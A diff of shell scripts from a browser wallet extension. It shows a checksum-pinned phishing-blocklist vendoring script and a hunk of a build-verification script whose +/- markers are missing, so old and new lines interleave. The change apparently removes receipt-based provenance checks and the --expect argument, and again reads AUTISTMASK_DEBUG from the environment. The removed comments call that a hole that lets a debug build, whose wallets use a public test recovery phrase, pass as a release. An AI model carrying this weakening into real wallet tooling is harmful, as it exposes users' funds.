UPSTREAM_SHA256="166d5b3504e8f4ed52eae37d3dd20c1a56efa0502bfb3dc957044ff8b5f1283f"
|
||||
|
||||
OUTPUT="src/shared/phishingBlocklist.json"
|
||||
|
||||
WORK=""
|
||||
|
||||
cleanup() {
|
||||
[ -z "$WORK" ] || rm -rf "$WORK"
|
||||
}
|
||||
trap cleanup EXIT INT TERM
|
||||
|
||||
fail() {
|
||||
echo "vendor-blocklist: $*" >&2
|
||||
exit 1
|
||||
}
|
||||
|
||||
sha256_of() {
|
||||
if command -v sha256sum >/dev/null 2>&1; then
|
||||
sha256sum "$1" | cut -d' ' -f1
|
||||
elif command -v shasum >/dev/null 2>&1; then
|
||||
shasum -a 256 "$1" | cut -d' ' -f1
|
||||
else
|
||||
fail "neither sha256sum nor shasum is available, so the fetched
|
||||
source cannot be verified. Refusing to vendor unverified content."
|
||||
fi
|
||||
}
|
||||
|
||||
main() {
|
||||
cd "$ROOT"
|
||||
|
||||
command -v curl >/dev/null 2>&1 ||
|
||||
fail "curl is required to fetch the upstream list"
|
||||
command -v node >/dev/null 2>&1 ||
|
||||
fail "node is required to build the artifact; run script/bootstrap"
|
||||
|
||||
WORK="$(mktemp -d "${TMPDIR:-/tmp}/autistmask-vendor-blocklist.XXXXXX")" ||
|
||||
fail "could not create a working directory"
|
||||
|
||||
url="https://raw.githubusercontent.com/$UPSTREAM_ORG/$UPSTREAM_REPO/$UPSTREAM_COMMIT/$UPSTREAM_FILE"
|
||||
echo "Fetching $url"
|
||||
curl -fsSL --proto '=https' --tlsv1.2 -o "$WORK/source.json" "$url" ||
|
||||
fail "the fetch failed, so nothing was vendored"
|
||||
|
||||
actual="$(sha256_of "$WORK/source.json")"
|
||||
if [ "$actual" != "$UPSTREAM_SHA256" ]; then
|
||||
fail "sha256 mismatch on the fetched source.
|
||||
expected: $UPSTREAM_SHA256
|
||||
actual: $actual
|
||||
The pinned commit is immutable, so the same commit serving different bytes
|
||||
means the content was substituted somewhere between upstream and here.
|
||||
Nothing was written. Do not update the expectation to match unless you have
|
||||
verified the new bytes independently."
|
||||
fi
|
||||
echo "Verified sha256 $actual"
|
||||
|
||||
node script/lib/build-blocklist.js "$WORK/source.json" "$WORK/out.json" ||
|
||||
fail "the transform failed, so nothing was written"
|
||||
|
||||
if [ -f "$OUTPUT" ] && cmp -s "$WORK/out.json" "$OUTPUT"; then
|
||||
echo "vendor-blocklist: $OUTPUT is already up to date"
|
||||
return 0
|
||||
fi
|
||||
|
||||
cp "$WORK/out.json" "$OUTPUT"
|
||||
echo "vendor-blocklist: wrote $OUTPUT (sha256 $(sha256_of "$OUTPUT"))"
|
||||
}
|
||||
|
||||
main "$@"
|
||||
@@ -1,97 +1,45 @@
|
||||
#!/bin/sh
|
||||
# script/verify-build: assert that the regular files and symlinks under dist/
|
||||
# are exactly what the build that just ran emitted (other file types are out of
|
||||
# scope; see "What that does and does not establish" below), and that the
|
||||
# compiled DEBUG state of that output is the one the caller asked for. Our own
|
||||
# extension to scripts-to-rule-them-all, run at the end of make build /
|
||||
# make build-debug.
|
||||
# script/verify-build: assert the compiled DEBUG state of the emitted
|
||||
# bundles. Our own extension to scripts-to-rule-them-all, run at the end of
|
||||
# make build / make build-debug.
|
||||
#
|
||||
# Why the DEBUG half exists: DEBUG makes the publicly committed test recovery
|
||||
# phrase the output of wallet creation, so a release artifact built with it live
|
||||
# hands every new wallet to anyone who reads the repo. The test suite cannot see
|
||||
# this, because it loads src/shared/constants.js outside a bundle and takes the
|
||||
# fallback branch; the property only exists in the emitted output, so it has to
|
||||
# be asserted against the emitted output.
|
||||
# Why this exists: DEBUG makes the publicly committed test recovery phrase the
|
||||
# output of wallet creation, so a release artifact built with it live hands
|
||||
# every new wallet to anyone who reads the repo. The test suite cannot see
|
||||
# this, because it loads src/shared/constants.js outside a bundle and takes
|
||||
# the fallback branch; the property only exists in the emitted output, so it
|
||||
# has to be asserted against the emitted output.
|
||||
#
|
||||
# Which mode to expect is an ARGUMENT (--expect release|debug) and is never
|
||||
# taken from this script's environment. It used to be read from
|
||||
# AUTISTMASK_DEBUG here, which meant an operator with AUTISTMASK_DEBUG=1
|
||||
# exported in their shell could run the release target, get a debug build, and
|
||||
# have it verified green and exit 0. There is also no default: a caller that
|
||||
# does not say what it built gets a failure, because "no opinion" is not a
|
||||
# state this can check anything against.
|
||||
# What it reads: dist/constants-bundles.txt, written by build.js from
|
||||
# esbuild's metafile, naming every emitted bundle that contains
|
||||
# src/shared/constants.js. Each of those must carry exactly one of the two
|
||||
# BUILD_DEBUG_MARKER literals that constants.js folds down to.
|
||||
#
|
||||
# Why the provenance half exists: on its own, a marker grep proves nothing
|
||||
# about where the bytes came from. A 26-byte file containing only the marker
|
||||
# string used to verify ok; the content script and manifest.json were not read
|
||||
# at all; an entire hand-written dist/ passed. The list of files to check has
|
||||
# therefore moved OUT of dist/: build.js writes a receipt naming every file it
|
||||
# emitted, with each file's sha256 and whether it is one of the bundles
|
||||
# containing src/shared/constants.js, and the Makefile creates that receipt
|
||||
# path fresh per invocation, outside the repo, and deletes it afterwards.
|
||||
#
|
||||
# What that does and does not establish. It establishes that dist/ is byte for
|
||||
# byte the output of the build.js run that just finished, with no regular file
|
||||
# or symlink added, missing or altered in between, and that the audited bundles
|
||||
# in it compiled to the requested mode. Regular files and symlinks are the whole
|
||||
# of what the tree walk covers; fifos, sockets, device nodes and empty
|
||||
# directories under dist/ are not checked, because a build emits none of them,
|
||||
# none can carry a shippable payload, and grep on a fifo would hang rather than
|
||||
# fail. It does NOT establish that the source tree or build.js were honest, and
|
||||
# it says nothing at all to someone handed a dist/ from elsewhere: without the
|
||||
# receipt from its own build they have no input to this check. That is signing,
|
||||
# and it is not this control.
|
||||
#
|
||||
# It fails rather than passes whenever it cannot determine something. Minified
|
||||
# output is not a stable contract, so "matched neither marker" is not evidence
|
||||
# of anything and must never read as green; the same discipline applies to
|
||||
# every read here, which is why a grep or a digest that could not be taken is
|
||||
# a hard failure and not an absence of a problem.
|
||||
# It fails rather than passes whenever it cannot determine a bundle's state.
|
||||
# Minified output is not a stable contract, so "matched neither form" is not
|
||||
# evidence of anything and must never read as green.
|
||||
set -eu
|
||||
|
||||
ROOT="$(cd "$(dirname "$0")/.." && pwd -P)"
|
||||
|
||||
# Absolute path to this script, resolved before anything cd's anywhere.
|
||||
# check_dist_tree re-invokes it through xargs, and $0 on its own may be
|
||||
# check_unlisted_bundles re-invokes it through xargs, and $0 on its own may be
|
||||
# relative to a directory we are about to leave.
|
||||
SELF="$(cd "$(dirname "$0")" && pwd -P)/$(basename "$0")"
|
||||
|
||||
# Internal re-entry flag; see scan_dist_paths.
|
||||
SCAN_FLAG="--scan-dist-paths"
|
||||
|
||||
# A literal newline and tab, for the receipt-shape guards.
|
||||
# A literal newline, for the is_listed guard.
|
||||
NEWLINE='
|
||||
'
|
||||
TAB=' '
|
||||
|
||||
MANIFEST="dist/constants-bundles.txt"
|
||||
MARKER_ON="autistmask-build-debug=on"
|
||||
MARKER_OFF="autistmask-build-debug=off"
|
||||
|
||||
RECEIPT_HEADER="autistmask-build-receipt v1"
|
||||
|
||||
# Set by the arguments.
|
||||
RECEIPT=""
|
||||
EXPECT=""
|
||||
|
||||
# Set by read_marker, read_sha256 and parse_file_line respectively, plus the
|
||||
# receipt line number the diagnostics quote.
|
||||
# Set by read_marker.
|
||||
MARKER=""
|
||||
SHA=""
|
||||
ENTRY_HASH=""
|
||||
ENTRY_FLAG=""
|
||||
ENTRY_PATH=""
|
||||
LINENO_R=0
|
||||
|
||||
# The sha256 command, chosen by pick_sha256.
|
||||
SHA256=""
|
||||
|
||||
# Totals: the shape pass counts what the receipt claims, the entries pass
|
||||
# counts what was actually checked against dist/, and the summary reports the
|
||||
# latter.
|
||||
SHAPE_COUNT=0
|
||||
SHAPE_AUDITED=0
|
||||
COUNT=0
|
||||
AUDITED=0
|
||||
|
||||
# Temporary file holding the NUL-delimited dist/ listing, removed by the EXIT
|
||||
# trap because fail() exits from wherever it is called.
|
||||
@@ -102,17 +50,11 @@ fail() {
|
||||
exit 1
|
||||
}
|
||||
|
||||
usage() {
|
||||
echo "usage: verify-build --expect release|debug --receipt PATH" >&2
|
||||
}
|
||||
|
||||
cleanup() {
|
||||
[ -z "$LISTING" ] || rm -f "$LISTING"
|
||||
}
|
||||
trap cleanup EXIT
|
||||
|
||||
# --- reading files ----------------------------------------------------------
|
||||
|
||||
# Is the literal $1 present in the file $2? Match (grep exit 0) and no-match
|
||||
# (exit 1) are answers about the emitted output. Anything else (exit 2: the
|
||||
# file could not be read) is not an answer at all, and must not be reported as
|
||||
@@ -132,46 +74,34 @@ has_marker() {
|
||||
esac
|
||||
}
|
||||
|
||||
# Pick the sha256 command once. All three print the digest as the first
|
||||
# whitespace-delimited field. If none is present the digests cannot be taken at
|
||||
# all, and this script has nothing left to check with, so it fails rather than
|
||||
# degrading to the marker grep it used to be.
|
||||
pick_sha256() {
|
||||
if command -v sha256sum >/dev/null 2>&1; then
|
||||
SHA256="sha256sum"
|
||||
elif command -v shasum >/dev/null 2>&1; then
|
||||
SHA256="shasum -a 256"
|
||||
elif command -v openssl >/dev/null 2>&1; then
|
||||
SHA256="openssl dgst -sha256 -r"
|
||||
else
|
||||
fail "no sha256 command found (tried sha256sum, shasum, openssl), so
|
||||
the emitted files cannot be checked against the build receipt at all.
|
||||
Refusing to report success."
|
||||
fi
|
||||
}
|
||||
|
||||
# Digest of $1 into SHA. A digest that could not be taken is not a mismatch and
|
||||
# not a pass: it means the artifact was never read.
|
||||
read_sha256() {
|
||||
_rs_status=0
|
||||
# Word-split on purpose: SHA256 is a command with its arguments.
|
||||
# shellcheck disable=SC2086
|
||||
_rs_out="$($SHA256 "$1" 2>/dev/null)" || _rs_status=$?
|
||||
[ "$_rs_status" -eq 0 ] ||
|
||||
fail "$SHA256 exited $_rs_status on $1, so its bytes were never read
|
||||
and nothing was established about them. That is a permissions or I/O fault
|
||||
on the artifact, not a mismatch. Refusing to report success."
|
||||
|
||||
SHA="${_rs_out%% *}"
|
||||
case "$SHA" in
|
||||
"" | *[!0-9a-f]*)
|
||||
fail "$SHA256 produced no usable digest for $1, so its bytes were never
|
||||
checked. Refusing to report success."
|
||||
# Does the manifest list the path $1, as a whole line? Same discipline as
|
||||
# has_marker: exit 0 and 1 are answers about the manifest, exit 2 means the
|
||||
# manifest could not be read and is not an answer at all. Without this, an
|
||||
# unreadable manifest reads as "this file is not listed" and every emitted
|
||||
# bundle gets reported as an unlisted one.
|
||||
#
|
||||
# A path containing a newline is answered without asking grep, because grep
|
||||
# would read the pattern as two patterns and report a match on either. That is
|
||||
# how such a path escaped this check even once the walk stopped splitting it:
|
||||
# the half before the newline matched a listed line and the file was skipped.
|
||||
# The manifest is line-delimited, so it cannot name such a path at all, and
|
||||
# "not listed" is the only true answer.
|
||||
is_listed() {
|
||||
case "$1" in
|
||||
*"$NEWLINE"*) return 1 ;;
|
||||
esac
|
||||
_il_status=0
|
||||
grep -q -x -F -e "$1" -- "$MANIFEST" || _il_status=$?
|
||||
case "$_il_status" in
|
||||
0) return 0 ;;
|
||||
1) return 1 ;;
|
||||
*)
|
||||
fail "grep exited $_il_status reading $MANIFEST, so it could not be
|
||||
searched and nothing was established about which bundles it lists. That is
|
||||
a permissions or I/O fault on the manifest, not a stale manifest. Refusing
|
||||
to report success."
|
||||
;;
|
||||
esac
|
||||
[ "${#SHA}" -eq 64 ] ||
|
||||
fail "$SHA256 produced a ${#SHA}-character digest for $1, which is not
|
||||
a sha256. Refusing to report success."
|
||||
}
|
||||
|
||||
# Read one bundle's DEBUG state into MARKER. Exactly one marker must be
|
||||
@@ -210,199 +140,48 @@ read_marker() {
|
||||
fi
|
||||
}
|
||||
|
||||
# --- the receipt ------------------------------------------------------------
|
||||
|
||||
# Split one "file <sha256> <A|P> <path>" line into ENTRY_HASH, ENTRY_FLAG and
|
||||
# ENTRY_PATH, and require the shape rather than assuming it. The path is the
|
||||
# remainder of the line, so a path carrying a space or a tab would be read back
|
||||
# as something other than what was written; build.js refuses to emit such a
|
||||
# name, and a receipt that contains one is malformed rather than describing a
|
||||
# file. Every rejection here is a failure: a line that cannot be understood is
|
||||
# a file that would otherwise go unchecked.
|
||||
parse_file_line() {
|
||||
case "$1" in
|
||||
"file "*) ;;
|
||||
*)
|
||||
fail "$RECEIPT line $LINENO_R is not a file entry and this script does
|
||||
not know what it means: ${1}. Refusing to report success."
|
||||
;;
|
||||
esac
|
||||
|
||||
_pl="${1#file }"
|
||||
ENTRY_HASH="${_pl%% *}"
|
||||
_pl="${_pl#* }"
|
||||
ENTRY_FLAG="${_pl%% *}"
|
||||
ENTRY_PATH="${_pl#* }"
|
||||
|
||||
case "$ENTRY_HASH" in
|
||||
"" | *[!0-9a-f]*) fail "$RECEIPT line $LINENO_R has no sha256: $1" ;;
|
||||
esac
|
||||
[ "${#ENTRY_HASH}" -eq 64 ] ||
|
||||
fail "$RECEIPT line $LINENO_R has a ${#ENTRY_HASH}-character digest,
|
||||
which is not a sha256: $1"
|
||||
|
||||
case "$ENTRY_FLAG" in
|
||||
A | P) ;;
|
||||
*) fail "$RECEIPT line $LINENO_R has no A/P audit flag: $1" ;;
|
||||
esac
|
||||
|
||||
case "$ENTRY_PATH" in
|
||||
dist/*) ;;
|
||||
*)
|
||||
fail "$RECEIPT line $LINENO_R names a path that is not under dist/:
|
||||
$ENTRY_PATH. The receipt describes the emitted tree and nothing else."
|
||||
;;
|
||||
esac
|
||||
case "$ENTRY_PATH" in
|
||||
*" "* | *"$TAB"* | *"$NEWLINE"*)
|
||||
fail "$RECEIPT line $LINENO_R names a path containing whitespace, which
|
||||
cannot be read back unambiguously from a line-oriented receipt: $1"
|
||||
;;
|
||||
esac
|
||||
}
|
||||
|
||||
# Check one emitted file against its receipt entry: it must be a regular file
|
||||
# with exactly the recorded bytes, and its debug marker must match what the
|
||||
# caller said this build was.
|
||||
check_entry() {
|
||||
[ ! -h "$ENTRY_PATH" ] ||
|
||||
fail "the receipt names $ENTRY_PATH but that path is a symlink. The
|
||||
build emits regular files only, so this is not the file it wrote. Refusing
|
||||
to report success."
|
||||
[ -f "$ENTRY_PATH" ] ||
|
||||
fail "the receipt names $ENTRY_PATH, which does not exist. dist/ does
|
||||
not hold what the build emitted."
|
||||
[ -s "$ENTRY_PATH" ] ||
|
||||
fail "the receipt names $ENTRY_PATH, which is empty. An empty file
|
||||
carries no marker and matches no digest, so this is a failure and not a
|
||||
pass."
|
||||
|
||||
read_sha256 "$ENTRY_PATH"
|
||||
[ "$SHA" = "$ENTRY_HASH" ] ||
|
||||
fail "$ENTRY_PATH does not contain the bytes this build emitted: the
|
||||
receipt records $ENTRY_HASH and the file on disk is $SHA. Something wrote
|
||||
to dist/ after the build, so this artifact is not the one that was built."
|
||||
|
||||
if [ "$ENTRY_FLAG" = A ]; then
|
||||
read_marker "$ENTRY_PATH"
|
||||
[ "$MARKER" = "$EXPECT" ] ||
|
||||
fail "$ENTRY_PATH is $MARKER but this build was told to expect
|
||||
$EXPECT. If AUTISTMASK_DEBUG=1 is exported in the shell that ran make
|
||||
build, that is why: the flag still reaches the compiler, and this is the
|
||||
check that stops the debug artifact being taken for a release one."
|
||||
echo " ok: $ENTRY_PATH ($MARKER)"
|
||||
AUDITED=$((AUDITED + 1))
|
||||
else
|
||||
if has_marker "$MARKER_ON" "$ENTRY_PATH" ||
|
||||
has_marker "$MARKER_OFF" "$ENTRY_PATH"; then
|
||||
fail "$ENTRY_PATH carries a debug marker but the build did not
|
||||
record it as containing src/shared/constants.js. build.js selects audited
|
||||
bundles with an endsWith(\".js\") test; a marker-carrying file outside that
|
||||
set means the test no longer describes what is emitted, and the DEBUG state
|
||||
of this file was never asserted against anything."
|
||||
fi
|
||||
fi
|
||||
COUNT=$((COUNT + 1))
|
||||
}
|
||||
|
||||
# Walk the receipt line by line, applying $1 to each file entry. The header and
|
||||
# the root line are checked on the way past; the root line is what stops a
|
||||
# receipt written by a build of some other tree being pointed at this one.
|
||||
walk_receipt() {
|
||||
_wr_each="$1"
|
||||
LINENO_R=0
|
||||
_line=""
|
||||
while IFS= read -r _line || [ -n "$_line" ]; do
|
||||
LINENO_R=$((LINENO_R + 1))
|
||||
if [ "$LINENO_R" -eq 1 ]; then
|
||||
[ "$_line" = "$RECEIPT_HEADER" ] ||
|
||||
fail "$RECEIPT does not start with \"$RECEIPT_HEADER\", so it
|
||||
is not a build receipt this script understands. Refusing to report
|
||||
success."
|
||||
continue
|
||||
fi
|
||||
if [ "$LINENO_R" -eq 2 ]; then
|
||||
[ "$_line" = "root $ROOT" ] ||
|
||||
fail "$RECEIPT was written by a build of a different tree: it
|
||||
says \"$_line\" and this is $ROOT. A receipt only describes the dist/ of
|
||||
the tree it was built in."
|
||||
continue
|
||||
fi
|
||||
parse_file_line "$_line"
|
||||
"$_wr_each"
|
||||
done <"$RECEIPT"
|
||||
|
||||
[ "$LINENO_R" -ge 2 ] ||
|
||||
fail "$RECEIPT is truncated: it has no root line, so it is not a
|
||||
receipt this script can check anything against."
|
||||
}
|
||||
|
||||
# Pass one: the receipt has to be a receipt before anything is concluded from
|
||||
# it. A line this script cannot read is a file that would go unchecked, and a
|
||||
# receipt naming no audited bundle asserts no DEBUG state at all — both are
|
||||
# failures, and both have to be established before the tree is walked against
|
||||
# it, because a receipt entry that was misread would otherwise surface as a
|
||||
# complaint about dist/.
|
||||
count_entry() {
|
||||
SHAPE_COUNT=$((SHAPE_COUNT + 1))
|
||||
if [ "$ENTRY_FLAG" = A ]; then
|
||||
SHAPE_AUDITED=$((SHAPE_AUDITED + 1))
|
||||
fi
|
||||
}
|
||||
|
||||
check_receipt_shape() {
|
||||
SHAPE_COUNT=0
|
||||
SHAPE_AUDITED=0
|
||||
walk_receipt count_entry
|
||||
|
||||
[ "$SHAPE_COUNT" -gt 0 ] ||
|
||||
fail "$RECEIPT names no emitted files, so nothing was inspected. A
|
||||
build always emits some."
|
||||
[ "$SHAPE_AUDITED" -gt 0 ] ||
|
||||
fail "$RECEIPT names no bundle containing src/shared/constants.js, so
|
||||
no DEBUG state would be asserted at all. That is never correct, so it is a
|
||||
failure and not a pass."
|
||||
}
|
||||
|
||||
# Pass three: every file the receipt names, checked against the bytes on disk.
|
||||
check_receipt_entries() {
|
||||
walk_receipt check_entry
|
||||
}
|
||||
|
||||
# --- the emitted tree -------------------------------------------------------
|
||||
|
||||
# The receipt says which files the build emitted. This says dist/ contains no
|
||||
# others: an artifact that was added after the build, or that a hand-written
|
||||
# dist/ brought with it, is not something the build vouches for and is not
|
||||
# something this check may pass over.
|
||||
# The manifest says which bundles must carry a marker. This says no other
|
||||
# emitted file may carry one, which catches a manifest that has gone stale
|
||||
# or short rather than trusting whatever it happens to list.
|
||||
#
|
||||
# The walk has to be exhaustive and every name has to survive it intact, so
|
||||
# four things are enforced rather than assumed:
|
||||
# Deliberately unfiltered by extension. build.js selects manifest entries with
|
||||
# an endsWith(".js") test; repeating that literal here would mean a bundle
|
||||
# emitted under some other extension escaped the manifest AND this check at
|
||||
# once, which is the correlated blind spot the two-source design exists to
|
||||
# avoid. Every regular file and every symlink under dist/ is searched — that
|
||||
# is the whole of what a build emits — so build.js's filter is the only place
|
||||
# the assumption lives and this check is what catches it being wrong.
|
||||
#
|
||||
# That claim only holds if the walk is exhaustive and every name survives it
|
||||
# intact, so four things are enforced here rather than assumed:
|
||||
#
|
||||
# - the walk is NUL-delimited and the paths reach the check as arguments, so
|
||||
# no name can be reshaped on the way in. Read line by line, a name with a
|
||||
# trailing space lost it to read's field splitting and the remnant then
|
||||
# matched a listed path, and a name containing a newline arrived as a
|
||||
# listed path plus an empty one. Both left an unchecked file in dist/ while
|
||||
# the script still reported success.
|
||||
# matched a manifest line, and a name containing a newline arrived as a
|
||||
# listed path plus an empty one. Both left a marker-carrying, unlisted file
|
||||
# unchecked while the script still reported success. Delivering such a name
|
||||
# intact is only half of it; is_listed also has to keep it out of grep's
|
||||
# pattern, for the same reason.
|
||||
# - find's exit status is checked. A subtree it cannot descend is reported on
|
||||
# stderr and then simply missing from the listing, so an unchecked status
|
||||
# turns "could not look" into "nothing was there" — the same conflation
|
||||
# has_marker exists to prevent. The status cannot be read off a pipeline,
|
||||
# so the listing lands in a file that xargs then reads back.
|
||||
# - symlinks are walked too (-type l), not skipped. The build emits none, so
|
||||
# a symlink under dist/ is a path the build did not produce, whatever it
|
||||
# points at, and it fails as one instead of being read through.
|
||||
# - symlinks are walked too (-type l), not skipped. A marker-carrying bundle
|
||||
# reachable under an unlisted path in dist/ is a stale manifest whether the
|
||||
# path is a link or a file, and grep reads through the link. A link that
|
||||
# cannot be read through — dangling, or pointing at a directory — fails
|
||||
# hard via has_marker's exit-2 path, which is the fail-closed answer: the
|
||||
# build emits neither, so their DEBUG state is unproven, not fine.
|
||||
# - dist/ itself must be a directory and not a symlink, which main asserts
|
||||
# before anything reads through it. find does not follow a symlink named on
|
||||
# its own command line, so a linked dist/ collapses this walk to one entry
|
||||
# and cross-checks nothing.
|
||||
#
|
||||
# Types other than regular files and symlinks — fifos, sockets, device nodes and
|
||||
# empty directories — are left out on purpose, and the guarantee is bounded to
|
||||
# what is walked: a build emits none of them, none can carry a shippable
|
||||
# payload, and grep on a fifo would hang rather than fail.
|
||||
check_dist_tree() {
|
||||
# Types other than regular files and symlinks are left out on purpose: a build
|
||||
# emits none of them, and grep on a fifo would hang rather than fail.
|
||||
check_unlisted_bundles() {
|
||||
LISTING="$(mktemp "${TMPDIR:-/tmp}/verify-build-dist.XXXXXX")" ||
|
||||
fail "could not create a temporary file for the dist/ listing, so the
|
||||
tree was never walked. Refusing to report success."
|
||||
@@ -412,196 +191,105 @@ check_dist_tree() {
|
||||
[ "$_find_status" -eq 0 ] ||
|
||||
fail "find exited $_find_status enumerating dist/, so part of the tree
|
||||
was never walked and nothing was established about the files in it. Any
|
||||
file the build did not emit could be sitting there unchecked. That is a
|
||||
permissions or I/O fault on the artifact. Refusing to report success."
|
||||
unlisted bundle there went unchecked. That is a permissions or I/O fault on
|
||||
the artifact, not a stale manifest. Refusing to report success."
|
||||
|
||||
_scan_status=0
|
||||
xargs -0 "$SELF" "$SCAN_FLAG" "$RECEIPT" <"$LISTING" || _scan_status=$?
|
||||
xargs -0 "$SELF" "$SCAN_FLAG" <"$LISTING" || _scan_status=$?
|
||||
[ "$_scan_status" -eq 0 ] ||
|
||||
fail "the dist/ tree scan exited $_scan_status: either a path under
|
||||
dist/ failed the check reported above, or the scan could not be run at all.
|
||||
Refusing to report success."
|
||||
fail "the unlisted-bundle scan exited $_scan_status: either a path
|
||||
under dist/ failed the check reported above, or the scan could not be run
|
||||
at all. Refusing to report success."
|
||||
}
|
||||
|
||||
# Does the receipt name the path $1? Compared as whole strings, never through
|
||||
# grep: a path found under dist/ is attacker-shaped input, and a pattern is not
|
||||
# the place to put one. The receipt's own paths are known to carry no
|
||||
# whitespace by the time this runs — verify_receipt failed the run otherwise —
|
||||
# so stripping the three leading fields recovers each one exactly.
|
||||
receipt_names() {
|
||||
_rn_want="$1"
|
||||
_rn_line=""
|
||||
while IFS= read -r _rn_line || [ -n "$_rn_line" ]; do
|
||||
case "$_rn_line" in
|
||||
"file "*) ;;
|
||||
*) continue ;;
|
||||
esac
|
||||
[ "${_rn_line#file * * }" != "$_rn_want" ] || return 0
|
||||
done <"$RECEIPT"
|
||||
return 1
|
||||
}
|
||||
|
||||
# The per-path half of check_dist_tree. It runs in a re-invocation of this
|
||||
# script, so it uses the same helpers as the rest of the file rather than a
|
||||
# second copy of them that could drift. Paths arrive as arguments and are never
|
||||
# split, joined or trimmed.
|
||||
# The per-path half of check_unlisted_bundles. It runs in a re-invocation of
|
||||
# this script, so it uses the same is_listed and has_marker as the rest of the
|
||||
# file rather than a second copy of them that could drift. Paths arrive as
|
||||
# arguments and are never split, joined or trimmed.
|
||||
scan_dist_paths() {
|
||||
for _file in "$@"; do
|
||||
if [ -h "$_file" ]; then
|
||||
fail "$_file is a symlink under dist/. The build emits regular
|
||||
files only, so this path is not something it produced, and what it points
|
||||
at is not what was verified. Refusing to report success."
|
||||
fi
|
||||
if receipt_names "$_file"; then
|
||||
if is_listed "$_file"; then
|
||||
continue
|
||||
fi
|
||||
fail "$_file is under dist/ but the build that just ran did not emit
|
||||
it. dist/ must contain exactly what the build produced: an extra file there
|
||||
is an artifact nothing vouches for, and shipping the directory ships it."
|
||||
if has_marker "$MARKER_ON" "$_file" ||
|
||||
has_marker "$MARKER_OFF" "$_file"; then
|
||||
fail "$_file carries a debug marker but is absent from $MANIFEST,
|
||||
so the manifest no longer describes the emitted bundles."
|
||||
fi
|
||||
done
|
||||
}
|
||||
|
||||
# --- arguments --------------------------------------------------------------
|
||||
|
||||
# The expected mode and the receipt are stated by the caller. Nothing is read
|
||||
# from the environment, and there is no default for either.
|
||||
parse_args() {
|
||||
while [ "$#" -gt 0 ]; do
|
||||
case "$1" in
|
||||
--expect)
|
||||
[ "$#" -ge 2 ] || fail "--expect needs an argument (release|debug)."
|
||||
set_expect "$2"
|
||||
shift 2
|
||||
;;
|
||||
--expect=*)
|
||||
set_expect "${1#--expect=}"
|
||||
shift
|
||||
;;
|
||||
--receipt)
|
||||
[ "$#" -ge 2 ] || fail "--receipt needs a path."
|
||||
set_receipt "$2"
|
||||
shift 2
|
||||
;;
|
||||
--receipt=*)
|
||||
set_receipt "${1#--receipt=}"
|
||||
shift
|
||||
;;
|
||||
*)
|
||||
usage
|
||||
fail "unknown argument: $1"
|
||||
;;
|
||||
esac
|
||||
done
|
||||
# The requested mode, read from our own environment using build.js's exact
|
||||
# rule: only the literal 1 opts in. Deliberately not taken from anything
|
||||
# build.js records about itself, so build.js cannot vouch for build.js.
|
||||
expected_marker() {
|
||||
if [ "${AUTISTMASK_DEBUG-}" = "1" ]; then
|
||||
echo "$MARKER_ON"
|
||||
else
|
||||
echo "$MARKER_OFF"
|
||||
fi
|
||||
}
|
||||
|
||||
set_expect() {
|
||||
[ -z "$EXPECT" ] || fail "--expect given more than once."
|
||||
case "$1" in
|
||||
release) EXPECT="$MARKER_OFF" ;;
|
||||
debug) EXPECT="$MARKER_ON" ;;
|
||||
*) fail "--expect takes release or debug, not \"$1\"." ;;
|
||||
esac
|
||||
}
|
||||
|
||||
set_receipt() {
|
||||
[ -z "$RECEIPT" ] || fail "--receipt given more than once."
|
||||
[ -n "$1" ] || fail "--receipt was given an empty path."
|
||||
# Resolved against the caller's directory, before main cd's to the repo
|
||||
# root.
|
||||
case "$1" in
|
||||
/*) RECEIPT="$1" ;;
|
||||
*) RECEIPT="$PWD/$1" ;;
|
||||
esac
|
||||
}
|
||||
|
||||
# --- main -------------------------------------------------------------------
|
||||
|
||||
main() {
|
||||
# Internal re-entry from check_dist_tree's xargs. Not part of the
|
||||
cd "$ROOT"
|
||||
|
||||
# Internal re-entry from check_unlisted_bundles' xargs. Not part of the
|
||||
# command-line interface: nothing else invokes it, and it is a distinct
|
||||
# entry point rather than a mode flag threaded through the checks below.
|
||||
if [ "${1-}" = "$SCAN_FLAG" ]; then
|
||||
shift
|
||||
[ "$#" -ge 1 ] || fail "internal: $SCAN_FLAG needs the receipt path."
|
||||
RECEIPT="$1"
|
||||
shift
|
||||
cd "$ROOT"
|
||||
[ -r "$RECEIPT" ] ||
|
||||
fail "$RECEIPT became unreadable during the run, so the dist/ tree
|
||||
could not be checked against it. Refusing to report success."
|
||||
scan_dist_paths "$@"
|
||||
return 0
|
||||
fi
|
||||
|
||||
parse_args "$@"
|
||||
|
||||
[ -n "$EXPECT" ] || {
|
||||
usage
|
||||
fail "no --expect argument. The mode this build was supposed to produce
|
||||
has to be stated by whoever ran the build; it is not a default and it is
|
||||
not read from AUTISTMASK_DEBUG in this script's environment, because an
|
||||
operator with that exported would then have their debug build verified as
|
||||
the release one they asked for."
|
||||
}
|
||||
[ -n "$RECEIPT" ] || {
|
||||
usage
|
||||
fail "no --receipt argument. The list of files to check comes from the
|
||||
build that just ran, not from dist/: without it, a hand-written dist/ would
|
||||
be verifying itself. make build and make build-debug pass one."
|
||||
}
|
||||
|
||||
pick_sha256
|
||||
cd "$ROOT"
|
||||
expected="$(expected_marker)"
|
||||
echo "Verifying emitted bundles (expecting $expected)..."
|
||||
|
||||
# Asserted here rather than left to grep. A symlinked dist/ used to fail
|
||||
# only because GNU grep exits 2 on a directory, so the tree walk hit
|
||||
# has_marker's I/O path by luck; under a grep that exits 1 instead, the
|
||||
# whole cross-check would have collapsed into a pass.
|
||||
# only because GNU grep exits 2 on a directory, so check_unlisted_bundles'
|
||||
# single entry hit has_marker's I/O path by luck; under a grep that exits 1
|
||||
# instead, the whole cross-check would have collapsed into a pass.
|
||||
if [ -h dist ]; then
|
||||
fail "dist is a symlink, not a directory. find does not follow a
|
||||
symlink named on its own command line, so the tree walk would see one entry
|
||||
instead of the emitted tree and establish nothing about it. Refusing to
|
||||
report success."
|
||||
symlink named on its own command line, so the unlisted-bundle cross-check
|
||||
would see one entry instead of the emitted tree and establish nothing about
|
||||
it. Refusing to report success."
|
||||
fi
|
||||
[ -d dist ] ||
|
||||
fail "dist is not a directory, so there is no emitted tree to verify.
|
||||
build.js writes it; run make build first."
|
||||
|
||||
case "$RECEIPT" in
|
||||
"$ROOT/dist" | "$ROOT/dist/"*)
|
||||
fail "the receipt is inside dist/ ($RECEIPT). A receipt that lives in
|
||||
the tree it describes is rewritten by whoever rewrites the tree, and vouches
|
||||
for nothing. make build keeps it outside the repo."
|
||||
;;
|
||||
esac
|
||||
|
||||
[ -e "$RECEIPT" ] ||
|
||||
fail "$RECEIPT is missing. build.js writes it at the end of a
|
||||
